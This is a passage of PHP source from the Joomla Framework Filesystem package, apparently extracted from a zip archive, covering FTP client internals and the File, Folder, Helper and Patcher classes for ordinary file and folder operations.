$tmpArray['time'] = date('H:i', $timestamp);
$tmpArray['name'] = $regs[8];
}
// If we just want files, do not add a folder
if ($type == 'files' && $tmpArray['type']
== 1)
{
continue;
}
// If we just want folders, do not add a file
if ($type == 'folders' && $tmpArray['type']
== 0)
{
continue;
}
if (\is_array($tmpArray) && $tmpArray['name'] !=
'.' && $tmpArray['name'] != '..')
{
$dirList[] = $tmpArray;
}
}
}
return $dirList;
}
/**
* Send command to the FTP server and validate an expected response code
*
* @param string $cmd Command to send to the FTP server
* @param mixed $expectedResponse Integer response code or array of
integer response codes
*
* @return boolean True if command executed successfully
*
* @since 1.0
* @throws FilesystemException
*/
protected function _putCmd($cmd, $expectedResponse)
{
// Make sure we have a connection to the server
if (!\is_resource($this->conn))
{
throw new FilesystemException(__METHOD__ . ': Not connected to the
control port.');
}
// Send the command to the server
if (!fwrite($this->conn, $cmd . "\r\n"))
{
throw new FilesystemException(sprintf('%1$s: Unable to send
command: %2$s', __METHOD__, $cmd));
}
return $this->_verifyResponse($expectedResponse);
}
/**
* Verify the response code from the server and log response if flag is
set
*
* @param mixed $expected Integer response code or array of integer
response codes
*
* @return boolean True if response code from the server is expected
*
* @since 1.0
* @throws FilesystemException
*/
protected function _verifyResponse($expected)
{
$parts = null;
// Wait for a response from the server, but timeout after the set time
limit
$endTime = time() + $this->timeout;
$this->response = '';
do
{
$this->response .= fgets($this->conn, 4096);
}
while (!preg_match('/^([0-9]{3})(-(.*' . CRLF . ')+\\1)?
[^' . CRLF . ']+' . CRLF . '$/',
$this->response, $parts) && time() < $endTime);
// Catch a timeout or bad response
if (!isset($parts[1]))
{
throw new FilesystemException(
sprintf(
'%1$s: Timeout or unrecognised response while waiting for a
response from the server. Server response: %2$s',
__METHOD__, $this->response
)
);
}
// Separate the code from the message
$this->responseCode = $parts[1];
$this->responseMsg = $parts[0];
// Did the server respond with the code we wanted?
if (\is_array($expected))
{
if (\in_array($this->responseCode, $expected))
{
$retval = true;
}
else
{
$retval = false;
}
}
else
{
if ($this->responseCode == $expected)
{
$retval = true;
}
else
{
$retval = false;
}
}
return $retval;
}
/**
* Set server to passive mode and open a data port connection
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
protected function _passive()
{
$match = array();
$parts = array();
$errno = null;
$err = null;
// Make sure we have a connection to the server
if (!\is_resource($this->conn))
{
throw new FilesystemException(__METHOD__ . ': Not connected to the
control port.');
}
// Request a passive connection - this means, we'll talk to you, you
don't talk to us.
@ fwrite($this->conn, "PASV\r\n");
// Wait for a response from the server, but timeout after the set time
limit
$endTime = time() + $this->timeout;
$this->response = '';
do
{
$this->response .= fgets($this->conn, 4096);
}
while (!preg_match('/^([0-9]{3})(-(.*' . CRLF . ')+\\1)?
[^' . CRLF . ']+' . CRLF . '$/',
$this->response, $parts) && time() < $endTime);
// Catch a timeout or bad response
if (!isset($parts[1]))
{
throw new FilesystemException(
sprintf(
'%1$s: Timeout or unrecognised response while waiting for a
response from the server. Server response: %2$s',
__METHOD__, $this->response
)
);
}
// Separate the code from the message
$this->responseCode = $parts[1];
$this->responseMsg = $parts[0];
// If it's not 227, we weren't given an IP and port, which
means it failed.
if ($this->responseCode != 227)
{
throw new FilesystemException(
sprintf('%1$s: Unable to obtain IP and port for data transfer.
Server response: %2$s', __METHOD__, $this->responseMsg)
);
}
// Snatch the IP and port information, or die horribly trying...
if
(preg_match('~\((\d+),\s*(\d+),\s*(\d+),\s*(\d+),\s*(\d+)(?:,\s*(\d+))\)~',
$this->responseMsg, $match) == 0)
{
throw new FilesystemException(
sprintf('%1$s: IP and port for data transfer not valid. Server
response: %2$s', __METHOD__, $this->responseMsg)
);
}
// This is pretty simple - store it for later use ;).
$this->pasv = array('ip' => $match[1] . '.' .
$match[2] . '.' . $match[3] . '.' . $match[4],
'port' => $match[5] * 256 + $match[6]);
// Connect, assuming we've got a connection.
$this->dataconn = @fsockopen($this->pasv['ip'],
$this->pasv['port'], $errno, $err, $this->timeout);
if (!$this->dataconn)
{
throw new FilesystemException(
sprintf(
'%1$s: Could not connect to host %2$s on port %3$s. Socket error
number: %4$s and error message: %5$s',
__METHOD__,
$this->pasv['ip'],
$this->pasv['port'],
$errno,
$err
)
);
}
// Set the timeout for this connection
socket_set_timeout($this->conn, $this->timeout, 0);
return true;
}
/**
* Method to find out the correct transfer mode for a specific file
*
* @param string $fileName Name of the file
*
* @return integer Transfer-mode for this filetype [FTP_ASCII|FTP_BINARY]
*
* @since 1.0
*/
protected function _findMode($fileName)
{
if ($this->type == FTP_AUTOASCII)
{
$dot = strrpos($fileName, '.') + 1;
$ext = substr($fileName, $dot);
if (\in_array($ext, $this->autoAscii))
{
$mode = \FTP_ASCII;
}
else
{
$mode = \FTP_BINARY;
}
}
elseif ($this->type == \FTP_ASCII)
{
$mode = \FTP_ASCII;
}
else
{
$mode = \FTP_BINARY;
}
return $mode;
}
/**
* Set transfer mode
*
* @param integer $mode Integer representation of data transfer mode
[1:Binary|0:Ascii]
* Defined constants can also be used
[FTP_BINARY|FTP_ASCII]
*
* @return boolean True if successful
*
* @since 1.0
* @throws FilesystemException
*/
protected function _mode($mode)
{
if ($mode == \FTP_BINARY)
{
if (!$this->_putCmd('TYPE I', 200))
{
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected:
200]. Mode sent: Binary', __METHOD__, $this->response)
);
}
}
else
{
if (!$this->_putCmd('TYPE A', 200))
{
throw new FilesystemException(
sprintf('%1$s: Bad response. Server response: %2$s [Expected:
200]. Mode sent: ASCII', __METHOD__, $this->response)
);
}
}
return true;
}
}
PKą�[�x���0filesystem/src/Exception/FilesystemException.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem\Exception;
/**
* Exception class for handling errors in the Filesystem package
*
* @since 1.2.0
*/
class FilesystemException extends \RuntimeException
{
}
PKą�[�S����filesystem/src/File.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem;
use Joomla\Filesystem\Exception\FilesystemException;
/**
* A File handling class
*
* @since 1.0
*/
class File
{
/**
* Strips the last extension off of a file name
*
* @param string $file The file name
*
* @return string The file name without the extension
*
* @since 1.0
*/
public static function stripExt($file)
{
return preg_replace('#\.[^.]*$#', '', $file);
}
/**
* Makes the file name safe to use
*
* @param string $file The name of the file [not full path]
* @param array $stripChars Array of regex (by default will remove
any leading periods)
*
* @return string The sanitised string
*
* @since 1.0
*/
public static function makeSafe($file, array $stripChars =
array('#^\.#'))
{
$regex = array_merge(array('#(\.){2,}#',
'#[^A-Za-z0-9\.\_\- ]#'), $stripChars);
$file = preg_replace($regex, '', $file);
// Remove any trailing dots, as those aren't ever valid file names.
$file = rtrim($file, '.');
return $file;
}
/**
* Copies a file
*
* @param string $src The path to the source file
* @param string $dest The path to the destination file
* @param string $path An optional base path to prefix to the
file names
* @param boolean $useStreams True to use streams
*
* @return boolean True on success
*
* @since 1.0
* @throws FilesystemException
* @throws \UnexpectedValueException
*/
public static function copy($src, $dest, $path = null, $useStreams =
false)
{
// Prepend a base path if it exists
if ($path)
{
$src = Path::clean($path . '/' . $src);
$dest = Path::clean($path . '/' . $dest);
}
// Check src path
if (!is_readable($src))
{
throw new \UnexpectedValueException(__METHOD__ . ': Cannot find or
read file: ' . $src);
}
if ($useStreams)
{
$stream = Stream::getStream();
if (!$stream->copy($src, $dest, null, false))
{
throw new FilesystemException(sprintf('%1$s(%2$s, %3$s):
%4$s', __METHOD__, $src, $dest, $stream->getError()));
}
return true;
}
if (!@ copy($src, $dest))
{
throw new FilesystemException(__METHOD__ . ': Copy failed.');
}
return true;
}
/**
* Delete a file or array of files
*
* @param mixed $file The file name or an array of file names
*
* @return boolean True on success
*
* @since 1.0
* @throws FilesystemException
*/
public static function delete($file)
{
$files = (array) $file;
foreach ($files as $file)
{
$file = Path::clean($file);
$filename = basename($file);
if (!Path::canChmod($file))
{
throw new FilesystemException(__METHOD__ . ': Failed deleting
inaccessible file ' . $filename);
}
// Try making the file writable first. If it's read-only, it
can't be deleted
// on Windows, even if the parent folder is writable
@chmod($file, 0777);
// In case of restricted permissions we zap it one way or the other
// as long as the owner is either the webserver or the ftp
if (!@ unlink($file))
{
throw new FilesystemException(__METHOD__ . ': Failed deleting
' . $filename);
}
}
return true;
}
/**
* Moves a file
*
* @param string $src The path to the source file
* @param string $dest The path to the destination file
* @param string $path An optional base path to prefix to the
file names
* @param boolean $useStreams True to use streams
*
* @return boolean True on success
*
* @since 1.0
* @throws FilesystemException
*/
public static function move($src, $dest, $path = '', $useStreams
= false)
{
if ($path)
{
$src = Path::clean($path . '/' . $src);
$dest = Path::clean($path . '/' . $dest);
}
// Check src path
if (!is_readable($src))
{
return 'Cannot find source file.';
}
if ($useStreams)
{
$stream = Stream::getStream();
if (!$stream->move($src, $dest, null, false))
{
throw new FilesystemException(__METHOD__ . ': ' .
$stream->getError());
}
return true;
}
if (!@ rename($src, $dest))
{
throw new FilesystemException(__METHOD__ . ': Rename
failed.');
}
return true;
}
/**
* Write contents to a file
*
* @param string $file The full file path
* @param string $buffer The buffer to write
* @param boolean $useStreams Use streams
* @param boolean $appendToFile Append to the file and not overwrite
it.
*
* @return boolean True on success
*
* @since 1.0
*/
public static function write($file, &$buffer, $useStreams = false,
$appendToFile = false)
{
@set_time_limit(ini_get('max_execution_time'));
// If the destination directory doesn't exist we need to create it
if (!file_exists(\dirname($file)))
{
Folder::create(\dirname($file));
}
if ($useStreams)
{
$stream = Stream::getStream();
// Beef up the chunk size to a meg
$stream->set('chunksize', (1024 * 1024));
$stream->writeFile($file, $buffer, $appendToFile);
return true;
}
$file = Path::clean($file);
// Set the required flag to only append to the file and not overwrite it
if ($appendToFile === true)
{
return \is_int(file_put_contents($file, $buffer, \FILE_APPEND));
}
return \is_int(file_put_contents($file, $buffer));
}
/**
* Moves an uploaded file to a destination folder
*
* @param string $src The name of the php (temporary) uploaded
file
* @param string $dest The path (including filename) to move
the uploaded file to
* @param boolean $useStreams True to use streams
*
* @return boolean True on success
*
* @since 1.0
* @throws FilesystemException
*/
public static function upload($src, $dest, $useStreams = false)
{
// Ensure that the path is valid and clean
$dest = Path::clean($dest);
// Create the destination directory if it does not exist
$baseDir = \dirname($dest);
if (!is_dir($baseDir))
{
Folder::create($baseDir);
}
if ($useStreams)
{
$stream = Stream::getStream();
if (!$stream->upload($src, $dest, null, false))
{
throw new FilesystemException(sprintf('%1$s(%2$s, %3$s):
%4$s', __METHOD__, $src, $dest, $stream->getError()));
}
return true;
}
if (is_writable($baseDir) && move_uploaded_file($src, $dest))
{
// Short circuit to prevent file permission errors
if (Path::setPermissions($dest))
{
return true;
}
throw new FilesystemException(__METHOD__ . ': Failed to change file
permissions.');
}
throw new FilesystemException(__METHOD__ . ': Failed to move
file.');
}
}
PKą�[U�3�8�8filesystem/src/Folder.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem;
use Joomla\Filesystem\Exception\FilesystemException;
/**
* A Folder handling class
*
* @since 1.0
*/
abstract class Folder
{
/**
* Copy a folder.
*
* @param string $src The path to the source folder.
* @param string $dest The path to the destination folder.
* @param string $path An optional base path to prefix to the
file names.
* @param boolean $force Force copy.
* @param boolean $useStreams Optionally force folder/file overwrites.
*
* @return boolean True on success.
*
* @since 1.0
* @throws FilesystemException
*/
public static function copy($src, $dest, $path = '', $force =
false, $useStreams = false)
{
@set_time_limit(ini_get('max_execution_time'));
if ($path)
{
$src = Path::clean($path . '/' . $src);
$dest = Path::clean($path . '/' . $dest);
}
// Eliminate trailing directory separators, if any
$src = rtrim($src, \DIRECTORY_SEPARATOR);
$dest = rtrim($dest, \DIRECTORY_SEPARATOR);
if (!is_dir(Path::clean($src)))
{
throw new FilesystemException('Source folder not found', -1);
}
if (is_dir(Path::clean($dest)) && !$force)
{
throw new FilesystemException('Destination folder not found',
-1);
}
// Make sure the destination exists
if (!self::create($dest))
{
throw new FilesystemException('Cannot create destination
folder', -1);
}
if (!($dh = @opendir($src)))
{
throw new FilesystemException('Cannot open source folder',
-1);
}
// Walk through the directory copying files and recursing into folders.
while (($file = readdir($dh)) !== false)
{
$sfid = $src . '/' . $file;
$dfid = $dest . '/' . $file;
switch (filetype($sfid))
{
case 'dir':
if ($file != '.' && $file != '..')
{
$ret = self::copy($sfid, $dfid, null, $force, $useStreams);
if ($ret !== true)
{
return $ret;
}
}
break;
case 'file':
if ($useStreams)
{
Stream::getStream()->copy($sfid, $dfid);
}
else
{
if (!@copy($sfid, $dfid))
{
throw new FilesystemException('Copy file failed', -1);
}
}
break;
}
}
return true;
}
/**
* Create a folder -- and all necessary parent folders.
*
* @param string $path A path to create from the base path.
* @param integer $mode Directory permissions to set for folders
created. 0755 by default.
*
* @return boolean True if successful.
*
* @since 1.0
* @throws FilesystemException
*/
public static function create($path = '', $mode = 0755)
{
static $nested = 0;
// Check to make sure the path valid and clean
$path = Path::clean($path);
// Check if parent dir exists
$parent = \dirname($path);
if (!is_dir(Path::clean($parent)))
{
// Prevent infinite loops!
$nested++;
if (($nested > 20) || ($parent == $path))
{
throw new FilesystemException(__METHOD__ . ': Infinite loop
detected');
}
try
{
// Create the parent directory
if (self::create($parent, $mode) !== true)
{
// Folder::create throws an error
$nested--;
return false;
}
}
catch (FilesystemException $exception)
{
$nested--;
throw $exception;
}
// OK, parent directory has been created
$nested--;
}
// Check if dir already exists
if (is_dir(Path::clean($path)))
{
return true;
}
// We need to get and explode the open_basedir paths
$obd = ini_get('open_basedir');
// If open_basedir is set we need to get the open_basedir that the path
is in
if ($obd != null)
{
if (\defined('PHP_WINDOWS_VERSION_MAJOR'))
{
$obdSeparator = ';';
}
else
{
$obdSeparator = ':';
}
// Create the array of open_basedir paths
$obdArray = explode($obdSeparator, $obd);
$inBaseDir = false;
// Iterate through open_basedir paths looking for a match
foreach ($obdArray as $test)
{
$test = Path::clean($test);
if (strpos($path, $test) === 0 || strpos($path, realpath($test)) === 0)
{
$inBaseDir = true;
break;
}
}
if ($inBaseDir == false)
{
// Throw a FilesystemException because the path to be created is not in
open_basedir
throw new FilesystemException(__METHOD__ . ': Path not in
open_basedir paths');
}
}
// First set umask
$origmask = @umask(0);
// Create the path
if (!$ret = @mkdir($path, $mode))
{
@umask($origmask);
throw new FilesystemException(__METHOD__ . ': Could not create
directory. Path: ' . $path);
}
// Reset umask
@umask($origmask);
return $ret;
}
/**
* Delete a folder.
*
* @param string $path The path to the folder to delete.
*
* @return boolean True on success.
*
* @since 1.0
* @throws FilesystemException
* @throws \UnexpectedValueException
*/
public static function delete($path)
{
@set_time_limit(ini_get('max_execution_time'));
// Sanity check
if (!$path)
{
// Bad programmer! Bad Bad programmer!
throw new FilesystemException(__METHOD__ . ': You can not delete a
base directory.');
}
// Check to make sure the path valid and clean
$path = Path::clean($path);
// Is this really a folder?
if (!is_dir($path))
{
throw new \UnexpectedValueException(sprintf('%1$s: Path is not a
folder. Path: %2$s', __METHOD__, $path));
}
// Remove all the files in folder if they exist; disable all filtering
$files = self::files($path, '.', false, true, array(),
array());
if (!empty($files))
{
if (File::delete($files) !== true)
{
// File::delete throws an error
return false;
}
}
// Remove sub-folders of folder; disable all filtering
$folders = self::folders($path, '.', false, true, array(),
array());
foreach ($folders as $folder)
{
if (is_link($folder))
{
// Don't descend into linked directories, just delete the link.
if (File::delete($folder) !== true)
{
// File::delete throws an error
return false;
}
}
elseif (self::delete($folder) !== true)
{
// Folder::delete throws an error
return false;
}
}
// In case of restricted permissions we zap it one way or the other as
long as the owner is either the webserver or the ftp.
if (@rmdir($path))
{
return true;
}
throw new FilesystemException(sprintf('%1$s: Could not delete
folder. Path: %2$s', __METHOD__, $path));
}
/**
* Moves a folder.
*
* @param string $src The path to the source folder.
* @param string $dest The path to the destination folder.
* @param string $path An optional base path to prefix to the
file names.
* @param boolean $useStreams Optionally use streams.
*
* @return string|boolean Error message on false or boolean true on
success.
*
* @since 1.0
*/
public static function move($src, $dest, $path = '', $useStreams
= false)
{
if ($path)
{
$src = Path::clean($path . '/' . $src);
$dest = Path::clean($path . '/' . $dest);
}
if (!is_dir(Path::clean($src)))
{
return 'Cannot find source folder';
}
if (is_dir(Path::clean($dest)))
{
return 'Folder already exists';
}
if ($useStreams)
{
Stream::getStream()->move($src, $dest);
return true;
}
if (!@rename($src, $dest))
{
return 'Rename failed';
}
return true;
}
/**
* Utility function to read the files in a folder.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for file names.
* @param mixed $recurse True to recursively search into
sub-folders, or an integer to specify the maximum depth.
* @param boolean $full True to return the full path to the
file.
* @param array $exclude Array with names of files which
should not be shown in the result.
* @param array $excludeFilter Array of filter to exclude
*
* @return array Files in the given folder.
*
* @since 1.0
* @throws \UnexpectedValueException
*/
public static function files($path, $filter = '.', $recurse =
false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
$excludeFilter = array('^\..*', '.*~')
)
{
// Check to make sure the path valid and clean
$path = Path::clean($path);
// Is the path a folder?
if (!is_dir($path))
{
throw new \UnexpectedValueException(sprintf('%1$s: Path is not a
folder. Path: %2$s', __METHOD__, $path));
}
// Compute the excludefilter string
if (\count($excludeFilter))
{
$excludeFilterString = '/(' . implode('|',
$excludeFilter) . ')/';
}
else
{
$excludeFilterString = '';
}
// Get the files
$arr = self::_items($path, $filter, $recurse, $full, $exclude,
$excludeFilterString, true);
// Sort the files
asort($arr);
return array_values($arr);
}
/**
* Utility function to read the folders in a folder.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for folder names.
* @param mixed $recurse True to recursively search into
sub-folders, or an integer to specify the maximum depth.
* @param boolean $full True to return the full path to the
folders.
* @param array $exclude Array with names of folders which
should not be shown in the result.
* @param array $excludeFilter Array with regular expressions
matching folders which should not be shown in the result.
*
* @return array Folders in the given folder.
*
* @since 1.0
* @throws \UnexpectedValueException
*/
public static function folders($path, $filter = '.', $recurse =
false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
$excludeFilter = array('^\..*')
)
{
// Check to make sure the path valid and clean
$path = Path::clean($path);
// Is the path a folder?
if (!is_dir($path))
{
throw new \UnexpectedValueException(sprintf('%1$s: Path is not a
folder. Path: %2$s', __METHOD__, $path));
}
// Compute the excludefilter string
if (\count($excludeFilter))
{
$excludeFilterString = '/(' . implode('|',
$excludeFilter) . ')/';
}
else
{
$excludeFilterString = '';
}
// Get the folders
$arr = self::_items($path, $filter, $recurse, $full, $exclude,
$excludeFilterString, false);
// Sort the folders
asort($arr);
return array_values($arr);
}
/**
* Function to read the files/folders in a folder.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for file names.
* @param mixed $recurse True to recursively search into
sub-folders, or an integer to specify the maximum depth.
* @param boolean $full True to return the full path to
the file.
* @param array $exclude Array with names of files which
should not be shown in the result.
* @param string $excludeFilterString Regexp of files to exclude
* @param boolean $findfiles True to read the files, false
to read the folders
*
* @return array Files.
*
* @since 1.0
*/
protected static function _items($path, $filter, $recurse, $full,
$exclude, $excludeFilterString, $findfiles)
{
@set_time_limit(ini_get('max_execution_time'));
$arr = array();
// Read the source directory
if (!($handle = @opendir($path)))
{
return $arr;
}
while (($file = readdir($handle)) !== false)
{
if ($file != '.' && $file != '..' &&
!\in_array($file, $exclude)
&& (empty($excludeFilterString) ||
!preg_match($excludeFilterString, $file)))
{
// Compute the fullpath
$fullpath = Path::clean($path . '/' . $file);
// Compute the isDir flag
$isDir = is_dir($fullpath);
if (($isDir xor $findfiles) &&
preg_match("/$filter/", $file))
{
// (fullpath is dir and folders are searched or fullpath is not dir
and files are searched) and file matches the filter
if ($full)
{
// Full path is requested
$arr[] = $fullpath;
}
else
{
// Filename is requested
$arr[] = $file;
}
}
if ($isDir && $recurse)
{
// Search recursively
if (\is_int($recurse))
{
// Until depth 0 is reached
$arr = array_merge($arr, self::_items($fullpath, $filter, $recurse -
1, $full, $exclude, $excludeFilterString, $findfiles));
}
else
{
$arr = array_merge($arr, self::_items($fullpath, $filter, $recurse,
$full, $exclude, $excludeFilterString, $findfiles));
}
}
}
}
closedir($handle);
return $arr;
}
/**
* Lists folder in format suitable for tree display.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for folder names.
* @param integer $maxLevel The maximum number of levels to
recursively read, defaults to three.
* @param integer $level The current level, optional.
* @param integer $parent Unique identifier of the parent folder, if
any.
*
* @return array Folders in the given folder.
*
* @since 1.0
*/
public static function listFolderTree($path, $filter, $maxLevel = 3,
$level = 0, $parent = 0)
{
$dirs = array();
if ($level == 0)
{
$GLOBALS['_JFolder_folder_tree_index'] = 0;
}
if ($level < $maxLevel)
{
$folders = self::folders($path, $filter);
// First path, index foldernames
foreach ($folders as $name)
{
$id = ++$GLOBALS['_JFolder_folder_tree_index'];
$fullName = Path::clean($path . '/' . $name);
$dirs[] = array(
'id' => $id,
'parent' => $parent,
'name' => $name,
'fullname' => $fullName,
'relname' => str_replace(JPATH_ROOT, '',
$fullName),
);
$dirs2 = self::listFolderTree($fullName, $filter, $maxLevel, $level +
1, $id);
$dirs = array_merge($dirs, $dirs2);
}
}
return $dirs;
}
/**
* Makes path name safe to use.
*
* @param string $path The full path to sanitise.
*
* @return string The sanitised string.
*
* @since 1.0
*/
public static function makeSafe($path)
{
$regex =
array('#[^A-Za-z0-9_\\\/\(\)\[\]\{\}\#\$\^\+\.\'~`!@&=;,-]#');
return preg_replace($regex, '', $path);
}
}
PKą�[�'��ttfilesystem/src/Helper.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem;
/**
* File system helper
*
* Holds support functions for the filesystem, particularly the stream
*
* @since 1.0
*/
class Helper
{
/**
* Remote file size function for streams that don't support it
*
* @param string $url TODO Add text
*
* @return mixed
*
* @link https://www.php.net/manual/en/function.filesize.php#71098
* @since 1.0
*/
public static function remotefsize($url)
{
$sch = parse_url($url, \PHP_URL_SCHEME);
if (!\in_array($sch, array('http', 'https',
'ftp', 'ftps'), true))
{
return false;
}
if (\in_array($sch, array('http', 'https'), true))
{
$headers = @ get_headers($url, 1);
if (!$headers || (!\array_key_exists('Content-Length',
$headers)))
{
return false;
}
return $headers['Content-Length'];
}
if (\in_array($sch, array('ftp', 'ftps'), true))
{
$server = parse_url($url, \PHP_URL_HOST);
$port = parse_url($url, \PHP_URL_PORT);
$path = parse_url($url, \PHP_URL_PATH);
$user = parse_url($url, \PHP_URL_USER);
$pass = parse_url($url, \PHP_URL_PASS);
if ((!$server) || (!$path))
{
return false;
}
if (!$port)
{
$port = 21;
}
if (!$user)
{
$user = 'anonymous';
}
if (!$pass)
{
$pass = '';
}
$ftpid = null;
switch ($sch)
{
case 'ftp':
$ftpid = @ftp_connect($server, $port);
break;
case 'ftps':
$ftpid = @ftp_ssl_connect($server, $port);
break;
}
if (!$ftpid)
{
return false;
}
$login = @ftp_login($ftpid, $user, $pass);
if (!$login)
{
return false;
}
$ftpsize = ftp_size($ftpid, $path);
ftp_close($ftpid);
if ($ftpsize == -1)
{
return false;
}
return $ftpsize;
}
}
/**
* Quick FTP chmod
*
* @param string $url Link identifier
* @param integer $mode The new permissions, given as an octal value.
*
* @return integer|boolean
*
* @link https://www.php.net/manual/en/function.ftp-chmod.php
* @since 1.0
*/
public static function ftpChmod($url, $mode)
{
$sch = parse_url($url, \PHP_URL_SCHEME);
if (($sch != 'ftp') && ($sch != 'ftps'))
{
return false;
}
$server = parse_url($url, \PHP_URL_HOST);
$port = parse_url($url, \PHP_URL_PORT);
$path = parse_url($url, \PHP_URL_PATH);
$user = parse_url($url, \PHP_URL_USER);
$pass = parse_url($url, \PHP_URL_PASS);
if ((!$server) || (!$path))
{
return false;
}
if (!$port)
{
$port = 21;
}
if (!$user)
{
$user = 'anonymous';
}
if (!$pass)
{
$pass = '';
}
$ftpid = null;
switch ($sch)
{
case 'ftp':
$ftpid = @ftp_connect($server, $port);
break;
case 'ftps':
$ftpid = @ftp_ssl_connect($server, $port);
break;
}
if (!$ftpid)
{
return false;
}
$login = @ftp_login($ftpid, $user, $pass);
if (!$login)
{
return false;
}
$res = @ftp_chmod($ftpid, $mode, $path);
ftp_close($ftpid);
return $res;
}
/**
* Modes that require a write operation
*
* @return array
*
* @since 1.0
*/
public static function getWriteModes()
{
return array('w', 'w+', 'a',
'a+', 'r+', 'x', 'x+');
}
/**
* Stream and Filter Support Operations
*
* Returns the supported streams, in addition to direct file access
* Also includes Joomla! streams as well as PHP streams
*
* @return array Streams
*
* @since 1.0
*/
public static function getSupported()
{
// Really quite cool what php can do with arrays when you let it...
static $streams;
if (!$streams)
{
$streams = array_merge(stream_get_wrappers(), self::getJStreams());
}
return $streams;
}
/**
* Returns a list of transports
*
* @return array
*
* @since 1.0
*/
public static function getTransports()
{
// Is this overkill?
return stream_get_transports();
}
/**
* Returns a list of filters
*
* @return array
*
* @since 1.0
*/
public static function getFilters()
{
// Note: This will look like the getSupported() function with J! filters.
// TODO: add user space filter loading like user space stream loading
return stream_get_filters();
}
/**
* Returns a list of J! streams
*
* @return array
*
* @since 1.0
*/
public static function getJStreams()
{
static $streams = array();
if (!$streams)
{
$files = new \DirectoryIterator(__DIR__ . '/Stream');
/** @var $file \DirectoryIterator */
foreach ($files as $file)
{
// Only load for php files.
if (!$file->isFile() || $file->getExtension() != 'php')
{
continue;
}
$streams[] = $file->getBasename('.php');
}
}
return $streams;
}
/**
* Determine if a stream is a Joomla stream.
*
* @param string $streamname The name of a stream
*
* @return boolean True for a Joomla Stream
*
* @since 1.0
*/
public static function isJoomlaStream($streamname)
{
return \in_array($streamname, self::getJStreams());
}
}
PKą�[���,1-1-filesystem/src/Patcher.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem;
/**
* A Unified Diff Format Patcher class
*
* @link http://sourceforge.net/projects/phppatcher/ This has been
derived from the PhpPatcher version 0.1.1 written by Giuseppe Mazzotta
* @since 1.0
*/
class Patcher
{
/**
* Regular expression for searching source files
*
* @var string
* @since 1.0
*/
const SRC_FILE =
'/^---\\s+(\\S+)\s+\\d{1,4}-\\d{1,2}-\\d{1,2}\\s+\\d{1,2}:\\d{1,2}:\\d{1,2}(\\.\\d+)?\\s+(\+|-)\\d{4}/A';
/**
* Regular expression for searching destination files
*
* @var string
* @since 1.0
*/
const DST_FILE =
'/^\\+\\+\\+\\s+(\\S+)\s+\\d{1,4}-\\d{1,2}-\\d{1,2}\\s+\\d{1,2}:\\d{1,2}:\\d{1,2}(\\.\\d+)?\\s+(\+|-)\\d{4}/A';
/**
* Regular expression for searching hunks of differences
*
* @var string
* @since 1.0
*/
const HUNK = '/@@
-(\\d+)(,(\\d+))?\\s+\\+(\\d+)(,(\\d+))?\\s+@@($)/A';
/**
* Regular expression for splitting lines
*
* @var string
* @since 1.0
*/
const SPLIT = '/(\r\n)|(\r)|(\n)/';
/**
* Source files
*
* @var array
* @since 1.0
*/
protected $sources = array();
/**
* Destination files
*
* @var array
* @since 1.0
*/
protected $destinations = array();
/**
* Removal files
*
* @var array
* @since 1.0
*/
protected $removals = array();
/**
* Patches
*
* @var array
* @since 1.0
*/
protected $patches = array();
/**
* Singleton instance of this class
*
* @var Patcher
* @since 1.0
*/
protected static $instance;
/**
* Constructor
*
* The constructor is protected to force the use of Patcher::getInstance()
*
* @since 1.0
*/
protected function __construct()
{
}
/**
* Method to get a patcher
*
* @return Patcher an instance of the patcher
*
* @since 1.0
*/
public static function getInstance()
{
if (!isset(static::$instance))
{
static::$instance = new static;
}
return static::$instance;
}
/**
* Reset the pacher
*
* @return Patcher This object for chaining
*
* @since 1.0
*/
public function reset()
{
$this->sources = array();
$this->destinations = array();
$this->removals = array();
$this->patches = array();
return $this;
}
/**
* Apply the patches
*
* @return integer The number of files patched
*
* @since 1.0
* @throws \RuntimeException
*/
public function apply()
{
foreach ($this->patches as $patch)
{
// Separate the input into lines
$lines = self::splitLines($patch['udiff']);
// Loop for each header
while (self::findHeader($lines, $src, $dst))
{
$done = false;
if ($patch['strip'] === null)
{
$src = $patch['root'] .
preg_replace('#^([^/]*/)*#', '', $src);
$dst = $patch['root'] .
preg_replace('#^([^/]*/)*#', '', $dst);
}
else
{
$src = $patch['root'] . preg_replace('#^([^/]*/){'
. (int) $patch['strip'] . '}#', '', $src);
$dst = $patch['root'] . preg_replace('#^([^/]*/){'
. (int) $patch['strip'] . '}#', '', $dst);
}
// Loop for each hunk of differences
while (self::findHunk($lines, $srcLine, $srcSize, $dstLine, $dstSize))
{
$done = true;
// Apply the hunk of differences
$this->applyHunk($lines, $src, $dst, $srcLine, $srcSize, $dstLine,
$dstSize);
}
// If no modifications were found, throw an exception
if (!$done)
{
throw new \RuntimeException('Invalid Diff');
}
}
}
// Initialize the counter
$done = 0;
// Patch each destination file
foreach ($this->destinations as $file => $content)
{
$content = implode("\n", $content);
if (File::write($file, $content))
{
if (isset($this->sources[$file]))
{
$this->sources[$file] = $content;
}
$done++;
}
}
// Remove each removed file
